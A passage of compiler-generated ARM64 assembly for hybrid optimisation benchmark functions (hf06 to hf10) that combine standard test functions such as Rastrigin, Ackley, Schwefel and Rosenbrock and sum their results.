cmp w1, w0
blt .L250
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L251
.L252:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L251:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L252
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L253
.L254:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L253:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L254
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl escaffer6_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl hgbat_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rosenbrock_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schwefel_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L255
.L256:
ldr x0, [sp, 64]
ldr d1, [x0]
add x0, sp, 216
sub x0, x0, #80
ldrsw x1, [sp, 92]
ldr d0, [x0, x1, lsl 3]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L255:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L256
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L257
bl __stack_chk_fail
.L257:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE35:
.size hf06, .-hf06
.align 2
.global hf07
.type hf07, %function
hf07:
.LFB36:
.cfi_startproc
stp x29, x30, [sp, -240]!
.cfi_def_cfa_offset 240
.cfi_offset 29, -240
.cfi_offset 30, -232
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 232]
mov x1, 0
mov w0, 5
str w0, [sp, 100]
adrp x0, .LC4
add x1, x0, :lo12:.LC4
add x0, sp, 192
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L259
.L260:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 192
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L259:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L260
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L261
.L262:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 128
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L261:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L262
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L263
.L264:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L263:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L264
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl katsuura_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ackley_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl grie_rosen_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schwefel_func
mov w0, 4
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L265
.L266:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 152
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L265:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L266
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 232]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L267
bl __stack_chk_fail
.L267:
ldp x29, x30, [sp], 240
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE36:
.size hf07, .-hf07
.section .rodata
.align 3
.LC4:
.word -1717986918
.word 1069128089
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word 858993459
.word 1070805811
.text
.align 2
.global hf08
.type hf08, %function
hf08:
.LFB37:
.cfi_startproc
stp x29, x30, [sp, -240]!
.cfi_def_cfa_offset 240
.cfi_offset 29, -240
.cfi_offset 30, -232
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 232]
mov x1, 0
mov w0, 5
str w0, [sp, 100]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
add x0, sp, 192
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L269
.L270:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 192
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L269:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L270
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L271
.L272:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 128
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L271:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L272
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L273
.L274:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L273:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L274
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ellips_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ackley_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl hgbat_func
mov w0, 4
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl discus_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L275
.L276:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 152
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L275:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L276
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 232]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L277
bl __stack_chk_fail
.L277:
ldp x29, x30, [sp], 240
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE37:
.size hf08, .-hf08
.section .rodata
.align 3
.LC5:
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.text
.align 2
.global hf09
.type hf09, %function
hf09:
.LFB38:
.cfi_startproc
stp x29, x30, [sp, -240]!
.cfi_def_cfa_offset 240
.cfi_offset 29, -240
.cfi_offset 30, -232
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 232]
mov x1, 0
mov w0, 5
str w0, [sp, 100]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
add x0, sp, 192
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L279
.L280:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 192
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L279:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L280
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L281
.L282:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 128
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L281:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L282
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L283
.L284:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L283:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L284
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl bent_cigar_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl grie_rosen_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl weierstrass_func
mov w0, 4
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl escaffer6_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L285
.L286:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 152
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L285:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L286
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 232]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L287
bl __stack_chk_fail
.L287:
ldp x29, x30, [sp], 240
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE38:
.size hf09, .-hf09
.align 2
.global hf10
.type hf10, %function
hf10:
.LFB39:
.cfi_startproc
stp x29, x30, [sp, -256]!
.cfi_def_cfa_offset 256
.cfi_offset 29, -256
.cfi_offset 30, -248
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 248]
mov x1, 0
mov w0, 6
str w0, [sp, 100]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
add x0, sp, 200
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L289
.L290:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 200
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L289:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L290
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 128
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L291
.L292:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 128
ldr w0, [x2, x0]
